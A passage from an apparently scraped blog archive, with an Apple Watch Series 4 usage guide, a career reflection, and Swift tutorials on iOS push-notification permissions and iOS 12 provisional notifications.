(Taiwan)Supplementary Unboxing PictureThe unboxing part ends here…Getting StartedPairing and basic settings won’t be elaborated here; you can refer to the unboxing articles above. Here, we assume you have already set up and started using your Apple Watch.Button Diagram — Apple Official Support Center“Digital Crown” = “Digital Crown”“Side Button” = “Side Button”Button Operations: Press the Digital Crown once to switch between the home screen and the watch face. Press the Digital Crown twice to switch to the most recently opened app. Press the Side Button once to bring up the Dock (multitasking window), which can be set to show the most recently opened apps or your favorite apps (open the “Watch” app on your “iPhone” -> “My Watch” tab -> Dock -> Dock Order). Press the Side Button twice to bring up Apple Pay, and it will directly proceed with payment.p.s. To change the default card for Apple Pay, open the “Watch” app on your “iPhone” -> “My Watch” tab -> Wallet & Apple Pay -> Transaction Defaults -> Default Card -> Choose the card you want to set as default. You cannot change the order, only specify one card as the default to be placed first. Long press the Side Button to bring up the system menu “Power Off” or “Turn On”, show the medical ID, or make an SOS emergency call.Apple Watch Screenshot FunctionThis is important, so it’s placed first. How to take a screenshot on Apple Watch:Open the “Watch” app on your “iPhone” -> “My Watch” tab -> go to “General” -> “Enable Screenshots” and turn it on.On the Apple Watch, press the Digital Crown and the Side Button simultaneously. When the screen flashes, the screenshot is taken. You can then find the screenshot in the Photos app on your iPhone!SpeakerThe built-in speaker on the watch can only be used for calls and playing alert sounds, not for playing music. If you feel uncomfortable talking on the watch in public, you can use Bluetooth earphones.Explanation of Various IconsPlease refer to the official documentConnection Between Apple Watch and iPhoneThe watch uses Bluetooth when near the phone and WiFi when the distance is too far.Left indicates disconnected, right indicates connectedNotifications from iPhone Apps to Apple WatchBy default, the watch mirrors the notification settings of the apps on the iPhone. You can also specifically turn off notifications for certain apps so they don’t get sent to the watch (open the “Watch” app on your “iPhone” -> “My Watch” tab -> “Notifications” -> scroll to the bottom to adjust for each app). If an app does not appear in this list, it means that the app does not have notifications enabled on the iPhone (go to “Settings” on your “iPhone” -> “Notifications” -> enable notifications for that app). Why do some notifications have sound/vibration while others don’t?This setting mirrors the notification settings of the apps on the iPhone. If the app’s “Notifications” setting has “Sound” enabled, there will be sound and vibration. Most app notifications only support viewing, while some support actions (e.g., Line notifications allow replies on the watch). When the phone is not in use and the watch is worn, new notifications will appear on the watch, and the phone will not ring but will still show in the notification center. This prevents both the phone and the watch from ringing simultaneously.APP Support for Apple Watch By default, when installing an APP that supports Apple Watch, it will also be installed on the Apple Watch (can be turned off from “Watch” APP on “iPhone” -> “My Watch” page -> “General” -> turn off “Automatic App Install”). Can I install only the Apple Watch APP?No, currently it is not possible to install the Apple Watch APP independently; there will always be an APP on the iPhone. I don’t want to install the Apple Watch version of the APP.From the “Watch” APP on “iPhone” -> “My Watch” page -> scroll down to the “Installed on Apple Watch” section -> turn off “Show App on Apple Watch”. APP supporting “Complications” means it supports watch face widgets.Watch Face DesignFeel free to play around and place whatever you think is important or looks good; I put “information I always want to know when I look at my watch” on the watch face, and you can also add multiple watch faces for switching.FlashlightYou read that right, Apple Watch also has a flashlight; pull up the menu from the bottom of the watch face page to find the “Flashlight” button, and you can swipe left or right to change the screen color; yes, it’s just a high-brightness screen color!What’s special is that there is also a strobe mode:Making night activities safer!Various Modes“Silent Mode” - All notifications are silent, no vibration, no screen lighting, only shown in the notification center.“Theater Mode” - Raising the wrist will not wake the screen, you need to tap the screen to wake it.“Water Lock” - Locks the screen touch, you need to turn the digital crown to unlock, and the speaker will automatically play sound to expel water after unlocking.“Airplane Mode” - Turns off all external connections.“Power Reserve Mode” - Really saves power! Only the time display function remains when pressing the digital crown, everything else is turned off, almost like being off; to exit Power Reserve Mode, press and hold the side button (same as turning on).In all these modes, alarms and countdown functions will still sound (Power Reserve Mode will force the device to turn on).Raise Wrist to Call SiriJust raise your wrist, and after the screen lights up, you can directly speak to use Siri! No need to say “Hey! Siri” (e.g., after raising your wrist, directly say “Tomorrow’s weather”). You can also use Siri when your phone is at a distance (e.g., when hanging clothes).[2019-05-02 Update]: For an even better Siri experience, refer to AirPods 2 Unboxing and Hands-on Experience for the Siri section. With AirPods 2, you can use Siri directly with the headphones on, without even raising your wrist.AQI Air Quality Not Displaying?The built-in AQI seems not to support the Taiwan region. You need to search for “Air Matters” in the “App Store”, download and install it, then open it. After that, go to the watch face design complications section and select “Air Matters”.Unlock Mac with Apple Watch Ensure your iPhone/Apple Watch/Mac are logged into the same Apple ID. Ensure your Apple ID has Two-Factor Authentication enabled. Once the system detects your Apple ID has an Apple Watch, it will add a line in “System Preferences” -> “Security & Privacy” -> “General” -> “Allow your Apple Watch to unlock your Mac” -> “Check the box”.If it keeps failing to enable, first ensure your Apple ID has Two-Factor Authentication enabled (not Two-Step Verification) or try restarting your computer!p.s. My company’s Mac Mini couldn’t enable it until I restarted it.Photos Opening Blank?By default, it shows favorites from your iPhone. Open “Photos” on your iPhone, tap the “heart” on the photos you want to transfer to your watch, and they will appear.Activity Records and WorkoutsActivity records have three rings and three goals daily: Stand (Blue): Standing for 1 minute each hour counts as 1 time. Exercise (Green): Only activities that exceed the intensity of a brisk walk are counted. Move (Red): The number of active calories burned, increases with any movement.For details, check the “Health” APP on your iPhone for a detailed explanation.Daily achievement records will prompt, and you can also press hard on the “Activity” APP on Apple Watch to adjust activity goal values (default is 360 active calories per day).Physical training part: For running, I use Nike Run Club + instead of the built-in one. Last week, I went cycling and tried the built-in physical training -> “Outdoor Cycling” to record. It records altitude/distance/time/path/heart rate. Awesome!Map Function?Currently, it only supports Apple Map, Google Map is not supported yet. Open “Maps” to search or select the company or home address set in personal information (Source: Contacts -> My Card) or contact information or manually input the destination. After starting navigation, each turn is a card that automatically flips based on movement. You can rotate to view, and click to see the map content. When there are 40 meters left, it will vibrate to alert you. Press hard to end navigation.This part just transfers your phone’s Apple Map information to the watch (when the watch is navigating, the phone’s navigation will also automatically open).Actual usage experience: Apple Map has very few landmarks and is hard to search. It seems to only guide main roads. Even though there are dual lanes, faster, and no traffic routes, it doesn’t guide… So still looking forward to Google Map updates. For now, just use this as a temporary solution.Here is a Siri shortcut: Open Google Map item using Apple MapBluetooth Camera ButtonOpen “Camera” on Apple Watch, and the phone’s camera will also open. You can use the watch to control the phone’s camera for taking photos and videos. Press hard to switch lenses/settings.Where is my phone?On the watch face page, swipe up from the bottom to find a “phone vibrating icon.” Click it, and the phone will make a sound! The phone will make a sound even in silent or do not disturb mode. Press hard on the icon, and the phone will also flash its light.p.s. The reverse function (finding the watch with the phone) is not available. If lost, please use “Find iPhone” to locate it.Message input cannot recognize handwritten Chinese characters, and voice input does not understand ChineseI think this is a bug…In messages, press hard on the “microphone” or “handwriting” icon to bring up the menu > “Select Language” -> “Chinese”Another method is to open “iPhone” -> “Settings” -> “General” -> “Keyboard” -> “Dictation” -> “Dictation Languages” -> check only “Mandarin”This way, your voice input will only understand Mandarin, and the phone part will also be affected.Turn off Breathe reminders/Turn off Stand remindersOpen the “Watch” APP on “iPhone” -> “My Watch” page -> Breathe -> Turn off Breathe remindersOpen the “Watch” APP on “iPhone” -> “My Watch” page -> Activity -> Turn off Stand remindersWant to set a more complex password for the watchOpen the “Watch” APP on “iPhone” -> “My Watch” page -> Passcode -> Simple Passcode -> Turn off -> then you can set a 6-digit passcodeCan the watch display Whoscall information when a call comes in?No.Is it laggy?Compared to a colleague’s Apple Watch S3, the S4 opens apps almost without loading, and it boots up quickly. You can refer to this video for actual tests: 【Latest】4th Generation Apple Watch Series 4 Speed Test Volume ComparisonDoes it consume a lot of power?I only wear it from waking up to before showering, not while sleeping (afraid of hitting the wall unconsciously). I take it off to charge before showering. Fully charged at 12 AM, taken off and left, about 95% left by 8 AM the next day. Fully charged at 12 AM, taken off and left, switched to airplane mode, about 98% left by 8 AM the next day.Wearing it for about 15 hours a day, if not playing with it constantly, about 65% battery left. It can last, barely needing a charge every two days.*The first charge may take longer.*Battery performance may not be optimal in the first few days, causing higher consumption.Recommended Practical Apps Air Matters (Free): Supports watch face complications for AQI information. 秒速記帳 ($60): Fast accounting software, supports dial complications. I have tried this and C*Money, but C*Money costs $120 and the interface is too complicated for me to use. So I recommend this one. Bus+ (Free): Bus information query. I originally used Taipei Bus but that app does not support Apple Watch, so I had to give it up. Bus+ works differently from Taipei Bus; Bus+ is station-based. My personal setup is to categorize frequently used locations (home/company/MRT station) and add the bus routes that pass through. Bus+ Nike+ Run Club (Free): Running record app. Shazam (Free): Press to identify music (although you can also ask Siri directly). There is another app called SoundHound, but in my personal tests, Shazam is faster. 雙北市Ubike+ (Free): Check the number of available and parking spots at nearby/favorite Ubike stations. 錄音機 (Free): Quickly use Apple Watch to record and transfer to your phone. 倒數日 (Free): View countdowns for anniversaries/future events. Advanced Calculator For Apple Watch OS (Free): Use a small calculator on Apple Watch. Line, Spotify…etc.Summary and One Week Usage ExperienceI’ve been wearing it for almost two weeks now. From the initial excitement to now, it has seamlessly integrated into my life. So far, the benefits to my daily life include: unlocking my MAC without typing a long password (company policy requires logging out when leaving the desk), checking the weather instantly, navigation, app notifications, and monitoring heart rate for health. That’s about it; there are too few supported apps and functions.Has the time spent on my phone decreased? Not particularly, because I still prefer to reply to notifications on my phone. Replying on the watch requires voice input, which is awkward in public, or handwriting, which is very slow. Moreover, many apps do not support Apple Watch.Is it really worth starting at $12,900? There are many better options for watches over $10,000, but if you want to integrate with the Apple ecosystem, there’s only one choice. If you just want to buy a luxury watch, you don’t need an Apple Watch. If you want a watch that can handle daily tasks, you can consider it. If you want a luxury item + daily task handler, you can consider the stainless steel or even Hermès version!Since purchasing, I’ve had thoughts of returning it. Spending $17,500 on a watch seems not worth it, but it does help with daily life. Is this help worth $17,500? I don’t think so at the moment. I’ll reevaluate when the Apple Watch app ecosystem is more developed. For now, it’s a luxury item XD, bought for pleasure, trendiness, and impulse.Other items are for you to experience on your own.-[Latest] Apple Watch Series 6 Unboxing & Two-Year Usage Experience »> Click HereSince you bought the watch, why not consider AirPods 2?Please see the next article » AirPods 2 Unboxing and Hands-on ExperienceDevelop Your Own Apple Watch App:Please see Let’s Make an Apple Watch App! (Swift)Want to Control Smart Home Devices with Your Watch?Please see First Experience with Smart Home — Apple HomeKit & Xiaomi MijiaThoughts After Three Months of Use:For details, please see this article Full-screen protector broke once while doing housework (heartbreaking) Purchased an additional leather watch strap:nomad Apple Watch StrapIf you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Add 'App Notification Settings Page' Shortcut in User's 'Settings' on iOS ≥ 12 (Swift)", "url": "/posts/f644db1bb8bf/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, ios, swift, push-notification, ios-12", "date": "2018-11-12 22:38:42 +0800", "snippet": "Add ‘App Notification Settings Page’ Shortcut in User’s ‘Settings’ on iOS ≥ 12 (Swift)Besides turning off notifications from the system, give users other optionsFollowing the previous three article...", "content": "Add ‘App Notification Settings Page’ Shortcut in User’s ‘Settings’ on iOS ≥ 12 (Swift)Besides turning off notifications from the system, give users other optionsFollowing the previous three articles: iOS ≥ 10 Notification Service Extension Application (Swift) What? iOS 12 Can Send Push Notifications Without User Authorization (Swift) Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)We continue to improve push notifications, whether it’s existing technology or newly available features, let’s give them a try!What’s this time?iOS ≥ 12 allows you to add a shortcut to your app’s notification settings page in the user’s “Settings,” giving users other options when they want to adjust notifications; they can jump to “in-app” instead of turning off notifications directly from the “system.” Here’s a preview:Settings -> App -> Notifications -> In-App SettingsAdditionally, when users receive notifications and want to use 3D Touch to adjust settings to “turn off” notifications, there will be an extra “In-App Settings” option for users to choose from.Notifications -> 3D Touch -> … -> Turn Off… -> In-App SettingsHow to implement?The implementation is very simple. The first step is to request an additional .providesAppNotificationSettings permission when requesting push notification permissions.//appDelegate.swift didFinishLaunchingWithOptions or....if #available(iOS 12.0, *) { let center = UNUserNotificationCenter.current() let permissiones:UNAuthorizationOptions = [.badge, .alert, .sound, .provisional,.providesAppNotificationSettings] center.requestAuthorization(options: permissiones) { (granted, error) in }}After asking the user whether to allow notifications, if notifications are enabled, an option will appear below ( regardless of whether the user previously allowed or disallowed notifications ).Step Two:The second step, and the final step; we need to make appDelegate conform to the UNUserNotificationCenterDelegate protocol and implement the userNotificationCenter(_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) method!//appDelegate.swiftimport UserNotifications@UIApplicationMainclass AppDelegate: UIResponder, UIApplicationDelegate { var window: UIWindow? func application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool { if #available(iOS 10.0, *) { UNUserNotificationCenter.current().delegate = self } return true } //Other parts omitted...}extension AppDelegate: UNUserNotificationCenterDelegate { @available(iOS 10.0, *) func userNotificationCenter(_ center: UNUserNotificationCenter, openSettingsFor notification: UNNotification?) { //Navigate to your settings page.. //EX: //let VC = SettingViewController(); //self.window?.rootViewController.present(alertController, animated: true) }} Implement the delegate in AppDelegate’s didFinishLaunchingWithOptions AppDelegate conforms to the delegate and implements the methodCompleted! Compared to the previous articles, this feature implementation is very simple 🏆SummaryThis feature is somewhat similar to the one mentioned in the previous article, where we send low-interference silent push notifications to users without requiring their authorization to test the waters!Both features aim to build a new bridge between developers and users. In the past, if an app was too noisy, we would mercilessly go to the settings page and turn off all notifications. However, this means that developers can no longer send any notifications, whether good or bad, useful or not, to the users. Consequently, users might miss important messages or exclusive offers.This feature allows users to have the option to adjust notifications within the app when they want to turn them off. Developers can segment push notification items, allowing users to decide what type of push notifications they want to receive.For the Wedding App, if users find the column notifications too intrusive, they can turn them off individually; but they can still receive important system messages. p.s. The individual notification toggle feature is something our app already had, but by combining it with the new notification features in iOS ≥12, we can achieve better results and improve user experience.If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Always Keep the Enthusiasm for Exploring New Things", "url": "/posts/8d863bcd1c55/", "categories": "ZRealm, Life.", "tags": "ios-app-development, back-end-development, life-lessons, life, medium", "date": "2018-11-04 02:54:07 +0800", "snippet": "Always Keep the Enthusiasm for Exploring New ThingsThe life opportunity from stepping into the information field to switching to iOS APP developmentBangkok 2018 - Z Realm — You are not alone on the...", "content": "Always Keep the Enthusiasm for Exploring New ThingsThe life opportunity from stepping into the information field to switching to iOS APP developmentBangkok 2018 - Z Realm — You are not alone on the road to solving problemsTime flies, it’s been a year since I switched from Back End to developing Mobile iOS APPs, and a month since I started writing on Medium. For this 10th small milestone, let me write about my experience of breaking through and switching tracks.Always Keep the Enthusiasm for Exploring New Things“The instinct to explore drives great human achievements.” From Columbus exploring the oceans and discovering new continents, the Wright brothers improving airplanes to conquer the skies, to now leaving Earth to explore outer space; only by being passionate about new things can we continuously surpass ourselves. Perhaps we cannot be as great as Armstrong, but as he said, “One small step for a man, one giant leap for mankind.” Do not underestimate your creativity and talents.OpportunityWhen opportunities come, grasp them well because there is no guarantee of a second chance. You might hesitate, thinking the next one might be better or fearing you made the wrong decision, but “Who knows? Will the sun rise first or will an accident happen first” If there are no negative impacts, then open your arms and seize the opportunity!Going back to 2009, when I just entered the first year of high school at Chang Kung Comprehensive High School, I learned by chance that the school was training students to participate in competitions. My initial thought was, “Since there’s nothing to do at home, why not learn something?” So I signed up and joined; this was the first turning point in my life, stepping into the information field. Joining the training was tough, practicing every day after school, on weekends, and during winter and summer vacations for three years. The risk was high; if you didn’t place in the competition, you almost got nothing. But looking back, I’m glad I seized this opportunity (I’ll share more about the journey of being a contestant later).National Skills Competition - Ministry of Labor Workforce Development AgencyThis opportunity taught me many skills for making a living, such as design tools like Illustrator/Photoshop/Flash, and engineering tools like PHP/MySQL/HTML/CSS/JavaScript/jQuery. I also got admitted to National Taiwan University of Science and Technology through the competition champion qualification. Looking back, I’m really glad I seized this opportunity!Fast forward to 2017, after graduating from university, I entered the workforce as a back-end engineer. In terms of web development, I mainly specialized in back-end (Laravel) during university, and didn’t research much on the front-end, using ready-made frameworks (Bootstrap/Semantic UI).At this point, I hit a bottleneck, being in the same field for too long without any breakthrough development. So I set new goals for myself: Continue to delve deeper into the back-end Switch to marketing (GA)/planning field Learn a new language/write an APPAt this time, another opportunity appeared. The project I joined was about to start developing a mobile platform application. Initially, my plan was to write the API back-end, using Laravel with some new technologies, which would also be a kind of breakthrough for me. Here, I must mention that when making decisions, you should look far ahead. My initial choice to continue with the back-end was due to inertia and the high perceived cost of stepping into a new field, as I didn’t have a Mac and it was a completely new area. Fortunately, with my supervisor’s guidance, I eventually chose to step into iOS APP development.Now, in 2018, it’s been exactly a year since I started developing iOS APPs. The gains include learning a new language, Swift, iOS APP development, the sense of achievement from launching my own APP, and starting to write on Medium. I’m glad I seized this opportunity, as it opened another window for my career!Insights for Back-End Engineers Switching to iOS APP Development“Isn’t programming all the same?” Switching fields is like switching mountains…Having someone guide you initially can speed things up because many concepts are quite different from web development. You’ll go through a period of hitting walls, but hang in there! You’ll see the light of success!I myself hit walls for almost a month. After getting a bit of a grasp, you’ll encounter the second wall period. At this point, you need to become more resilient, learn from mistakes, and trade time for experience (if you don’t have enough time, consider taking an introductory course or finding a mentor). Development Environment: In the past, writing PHP, we used Sublime, hit Ctrl+S, then Ctrl+Tab to switch to the browser and Ctrl+R to quickly see the results. Now, you need to use Xcode and deploy to a simulator or phone to see the results. This part helps improve my impatience XD. Language: Swift is more modern, strongly typed, and structured. It might be a bit unfamiliar at first, but once you get the hang of it, it’s no problem. Storyboard/Interface Builder: This part lowers the entry barrier for beginners. If you had to code the UI from the start, it would be much harder to learn. You can directly play with the UI visually, learn layout, and connect Outlets. Memory and Page Layout Structure: This is something to pay more attention to and is part of what I mean by trading time for experience. In the past, web development had no limits; you could do whatever you wanted. For example, with tables, you just wrote <table> and ran a PHP loop to display data. But in an app, you need to use the UITableView component to implement it (I remember using UIView to layout and happily telling my supervisor I was done, only to find out it caused a huge memory explosion).Other aspects like memory leaks also need more attention! App Deployment: App development requires more caution and meticulous testing. Unlike web pages where you can fix errors immediately, iOS app versions need to be reviewed, and you can’t downgrade if there are bugs. So fixing a bug takes at least a day, greatly affecting users! User Reviews: Users can give you the most direct feedback.Five stars warm the heart, one star breaks itSummary@returntothesourcesLife is interesting because of its uncertainties. For the opportunities that come, if you choose to seize them, you’ll gain something; if you choose to let go, the next opportunity might be better. There’s no right or wrong. Just trust your intuition: “Choose what you love, love what you choose.”Expectations for MyselfCurrently still a novice, I will continue to delve into iOS app development, learning and growing towards the future, seeking breakthroughs, and maintaining the habit of writing on Medium. What will the next opportunity be? I’m looking forward to it!If you have any questions or feedback, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)", "url": "/posts/fd7f92d52baa/", "categories": "ZRealm, Dev.", "tags": "ios, push-notification, observables, ios-app-development, swift", "date": "2018-11-02 23:23:44 +0800", "snippet": "Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)Solution for handling notification permission status and requesting permissions from iOS 9 to iOS 12What to do?Following the...", "content": "Handling Push Notification Permission Status from iOS 9 to iOS 12 (Swift)Solution for handling notification permission status and requesting permissions from iOS 9 to iOS 12What to do?Following the previous article “What? iOS 12 can send push notifications without user authorization (Swift)” which mentioned the optimization of the push notification permission acquisition process, after the optimization written in the previous Murmur part, new requirements were encountered: If the user turns off the notification function, we can prompt them to go to settings to turn it on in a specific function page. After jumping to the settings page, if there is an operation to turn on/off notifications, the app should be able to follow and change the status. If the push notification permission has not been asked before, ask for permission; if it has been asked but not allowed, show a prompt; if it has been asked and allowed, continue to operate. Support iOS 9 to iOS 12.Items 1 to 3 are fine, using the iOS 10 and later Framework UserNotifications can almost solve them properly. The troublesome part is item 4, which needs to support iOS 9. Handling iOS 9 using the old method registerUserNotificationSettings is not easy; let’s do it step by step!Thought Process and Structure:First, declare a global notificationStatus object to store the notification permission status and add property monitoring to the pages that need to handle it (here I use Observable to subscribe to property changes, you can find suitable KVO or use Rx, ReactiveCocoa).In appDelegate, handle the check of push notification permission status and change the value of notificationStatus in didFinishLaunchingWithOptions (when the app initially opens), applicationDidBecomeActive (when returning from the background state), and didRegisterUserNotificationSettings (≤iOS 9 push notification inquiry handling).The pages that need to handle it will trigger and perform corresponding processing (e.g., pop up a notification closed prompt).1. First, declare the global notificationStatus objectenum NotificationStatusType { case authorized case denied case notDetermined}var notificationStatus: Observable<NotificationStatusType?> = Observable(nil)The four states of notificationStatus/NotificationStatusType correspond to: nil = Object initialization…checking… notDetermined = User has not been asked whether to receive notifications authorized = User has been asked whether to receive notifications and clicked “Allow” denied = User has been asked whether to receive notifications and clicked “Don’t Allow”2. Construct the method to check the notification permission status:func checkNotificationPermissionStatus() { if #available(iOS 10.0, *) { UNUserNotificationCenter.current().getNotificationSettings { (settings) in DispatchQueue.main.async { // Note! Switch back to the main thread if settings.authorizationStatus == .authorized { // Allowed notificationStatus.value = NotificationStatusType.authorized } else if settings.authorizationStatus == .denied { // Not allowed notificationStatus.value = NotificationStatusType.denied } else { // Not asked notificationStatus.value = NotificationStatusType.notDetermined } } } } else { if UIApplication.shared.currentUserNotificationSettings?.types == [] { if let iOS9NotificationIsDetermined = UserDefaults.standard.object(forKey: \"iOS9NotificationIsDetermined\") as? Bool, iOS9NotificationIsDetermined == true { // Not asked notificationStatus.value = NotificationStatusType.notDetermined } else { // Not allowed notificationStatus.value = NotificationStatusType.denied } } else { // Allowed notificationStatus.value = NotificationStatusType.authorized } }}That’s not all!Sharp-eyed friends should have noticed the custom UserDefaults “iOS9NotificationIsDetermined” in the ≤ iOS 9 judgment. What is it used for?The main reason is that the method for detecting push notification permissions in ≤ iOS 9 can only use the current permissions as a judgment. If it is empty, it means no permission, but it will also be empty if the permission has not been asked. This is troublesome because it is unclear whether the user has never been asked or has denied the permission.Here, I use a custom UserDefaults “iOS9NotificationIsDetermined” as a judgment switch and add it in the appDelegate’s didRegisterUserNotificationSettings://appdelegate.swift:func application(_ application: UIApplication, didRegister notificationSettings: UIUserNotificationSettings) { // For iOS 9 and below, this method is triggered after the permission prompt is shown and the user either allows or denies the notification. UserDefaults.standard.set(\"iOS9NotificationIsDetermined\", true) checkNotificationPermissionStatus()}After constructing the object and method for checking notification permission status, we need to add the following in appDelegate…//appdelegate.swiftfunc application(_ application: UIApplication, didFinishLaunchingWithOptions launchOptions: [UIApplicationLaunchOptionsKey: Any]?) -> Bool { checkNotificationPermissionStatus() return true}func applicationDidBecomeActive(_ application: UIApplication) { checkNotificationPermissionStatus()}The app needs to check the push notification status both at launch and when returning from the background.This covers the detection part. Next, let’s see how to handle the request for notification permissions if it has not been asked.3. Request Notification Permission:func requestNotificationPermission() { if #available(iOS 10.0, *) { let permissions: UNAuthorizationOptions = [.badge, .alert, .sound] UNUserNotificationCenter.current().requestAuthorization(options: permissions) { (granted, error) in DispatchQueue.main.async { checkNotificationPermissionStatus() } } } else { application.registerUserNotificationSettings(UIUserNotificationSettings(types: [.alert, .badge, .sound], categories: nil)) // The didRegisterUserNotificationSettings in appdelegate.swift will handle the subsequent callback }}After handling detection and requests, let’s see how to apply it.4. Application (Static)if notificationStatus.value == NotificationStatusType.authorized { // OK!} else if notificationStatus.value == NotificationStatusType.denied { // Not allowed // This example shows a UIAlertController prompt and redirects to the settings page upon clicking let alertController = UIAlertController( title: \"Dear, you are currently unable to receive notifications\", message: \"Please enable notification permissions for the app.\", preferredStyle: .alert) let settingAction = UIAlertAction( title: \"Go to Settings\", style: .destructive, handler: { (action: UIAlertAction!) -> Void in if let bundleID = Bundle.main.bundleIdentifier, let url = URL(string: UIApplicationOpenSettingsURLString + bundleID) { UIApplication.shared.openURL(url) } }) let okAction = UIAlertAction( title: \"Cancel\", style: .default, handler: { (action: UIAlertAction!) -> Void in // well.... }) alertController.addAction(okAction) alertController.addAction(settingAction) self.present(alertController, animated: true) { }} else if notificationStatus.value == NotificationStatusType.notDetermined { // Not asked requestNotificationPermission()} Note!! When jumping to the “Settings” page of the APP, do not use UIApplication.shared.openURL(URL(string:”App-Prefs:root=\\ (bundleID)”) ) method to jump, it will be rejected! It will be rejected! It will be rejected! (personal experience) This is a Private API5. Application (Dynamic)For dynamically changing the status, since we use the Observable object for notificationStatus, we can add a listener in viewDidLoad where we need to monitor the status in real-time:override func viewDidLoad() { super.viewDidLoad() notificationStatus.afterChange += { oldStatus,newStatus in if newStatus == NotificationStatusType.authorized { //print(\"❤️Thank you for enabling notifications\") } else if newStatus == NotificationStatusType.denied { //print(\"😭Oh no\") } }} The above is just sample code. You can adjust the actual application and triggers as needed. *When using Observable for notificationStatus, please pay attention to memory management. It should be released when necessary (to prevent memory leaks) and retained when not (to avoid listener failure).Finally, here is the complete demo product:Wedding App*Since our project supports iOS 9 to iOS 12, iOS 8 has not been tested and the support level is uncertain.If you have any questions or comments, feel free to contact me.===本文中文版本===This article was first published in Traditional Chinese on Medium ➡️ View Here" }, { "title": "What? iOS 12 Can Receive Push Notifications Without User Authorization (Swift)", "url": "/posts/ade9e745a4bf/", "categories": "ZRealm, Dev.", "tags": "ios, swift, push-notification, ios-app-development, ios12", "date": "2018-11-01 23:35:02 +0800", "snippet": "What? iOS 12 Can Send Push Notifications Without User Authorization (Swift) — (Updated 2019-02-06)Introduction to UserNotifications Provisional Authorization and iOS 12 Silent NotificationsMurMur……...", "content": "What? iOS 12 Can Send Push Notifications Without User Authorization (Swift) — (Updated 2019-02-06)Introduction to UserNotifications Provisional Authorization and iOS 12 Silent NotificationsMurMur……Recently, I was improving the low permission and click-through rates of APP push notifications and made some optimizations. The initial version had a very poor experience; as soon as the APP was installed and launched, it directly popped up a window asking “APP wants to send notifications.” Naturally, the rejection rate was very high. According to the statistics from the previous article using Notification Service Extension, it is estimated that only about 10% of users allowed push notifications.Currently, the new installation guide process has been adjusted, and the timing of the notification permission window has been optimized as follows:Wedding APPIf the user is still hesitant or wants to try the APP before deciding whether to receive notifications, they can click “Skip” in the upper right corner to avoid the irreversible result of pressing “Don’t Allow” due to unfamiliarity with the APP at the beginning.Getting to the PointWhile working on the above optimization, I discovered that UserNotifications in iOS 12 added a new .provisional permission. In plain language, it is a temporary notification permission that allows sending push notifications (silent notifications) to users without popping up a notification permission window. Let’s see the actual effect and limitations.How to Request Provisional Notification Permission?if #available(iOS 12.0, *) { let center = UNUserNotificationCenter.current() let permissions: UNAuthorizationOptions = [.badge, .alert, .sound, .provisional] // You can request only provisional permission .provisional, or request all necessary permissions at once XD // It will not trigger the notification permission window center.requestAuthorization(options: permissions) { (granted, error) in print(granted) }}We add the above code to AppDelegate didFinishLaunchingWithOptions and then open the APP. We will find that the notification permission window does not pop up. At this time, we go to Settings to check APP Notification Settings.(Figure 1) Obtaining Silent Notification PermissionWe have quietly obtained the silent notification permission 🏆In the code, add the authorizationStatus .provisional item (only for iOS 12 and later) to determine the current push notification permission:if #available(iOS 10.0, *) { UNUserNotificationCenter.current().getNotificationSettings { (settings) in if settings.authorizationStatus == .authorized { // Allowed } else if settings.authorizationStatus == .denied { // Not allowed } else if settings.authorizationStatus == .notDetermined { // Not asked yet } else if #available(iOS 12.0, *) { if settings.authorizationStatus == .provisional { // Currently provisional permission } } }} Note! If you are checking the current notification permission status, settings.authorizationStatus == .notDetermined and settings.authorizationStatus == .provisional can both trigger a notification prompt asking the user whether to allow notifications.What can silent notifications do? How are they displayed?Let’s start with a diagram summarizing when silent notifications will be displayed:As you can see, if it is a silent push notification, when the app is in the background state, the notification will not show a banner, will not have a sound alert, cannot be marked, and will not appear on the lock screen. It will only appear in the notification center when the phone is unlocked:You can see the push notifications you sent, and they will automatically aggregate into a category.After clicking to expand, the user can choose:This expanded prompt window will only appear under silent push with “provisional permission.” To “continue” receiving push notifications — “Send important notifications”: All notification permissions will be fully granted! All notification permissions will be fully granted! All notification permissions will be fully granted! It’s really important, so I said it three times. At this point, the code requesting permissions earlier will have a significant effect.Or maintain receiving silent notifications. “Turn off” — “Turn off all notifications” will completely disable push notifications (including silent notifications).Note: How to manually set the existing app to silent notifications?Silent notifications are a new setting introduced with iOS 12 for notification optimization and are unrelated to provisional permissions. It’s just that the program can send silent notifications when it gets provisional permissions. Setting an app’s notifications to silent is also very simple. One method is to go to “Settings” - “Notifications” - find the app and turn off all permissions except “Notification Center” (as shown in the first image), which is silent notifications.Or, when receiving an app notification, press/long press to expand, then click the top right “…” and choose to send silent notifications:When triggering the notification prompt window with provisional permissions:Remove the .provisional part when requesting notification permissions to still normally ask the user whether to allow notifications:if #available(iOS 10.0, *) { let center = UNUserNotificationCenter.current() let permissions: UNAuthorizationOptions = [.badge, .alert, .sound] center.requestAuthorization(options: permissions) { (granted, error) in print(granted) }}Press “Allow” to get all notification permissions, press “Don’t Allow” to turn off all notification permissions (including the previously obtained silent notification permissions).The overall process is as follows:Summary:This thoughtful notification optimization in iOS 12 makes it easier to build an interactive bridge between users and developers regarding notification functionality, minimizing the chances of notifications being permanently turned off.For users, when the notification prompt window pops up, they often don’t know whether to press allow or deny because they don’t know what kind of notifications the developer will send. It could be ads or important messages. The unknown is scary, so most people will conservatively press deny.For developers, we have carefully prepared many items, including important messages to push to users, but due to the above issue, users block them, and our thoughtfully designed copy goes to waste!This feature allows developers to seize the opportunity when users first install the app, design the push process and content well, prioritize pushing items of interest to users, increase users’ awareness of the app’s notifications, and track push click rates, then trigger the prompt asking users whether to allow notifications at the right time.Although the only exposure is in the Notification Center, having exposure means having a chance. From another perspective, if we were users and didn’t allow notifications, and the app could still send a bunch of notifications with banners, sounds, and appearing on the unlock screen, it would be very annoying (like the other camp XD). Apple’s approach strikes a balance between users and developers.The current issue is probably… there are still too few iOS 12 users 🤐2019-02-06 Update on practical application: In practice, I have “canceled” the implementation of this feature.Why?Because it was found that users would passively enter silent push notification mode in the following situations, they need to manually turn on all push notification 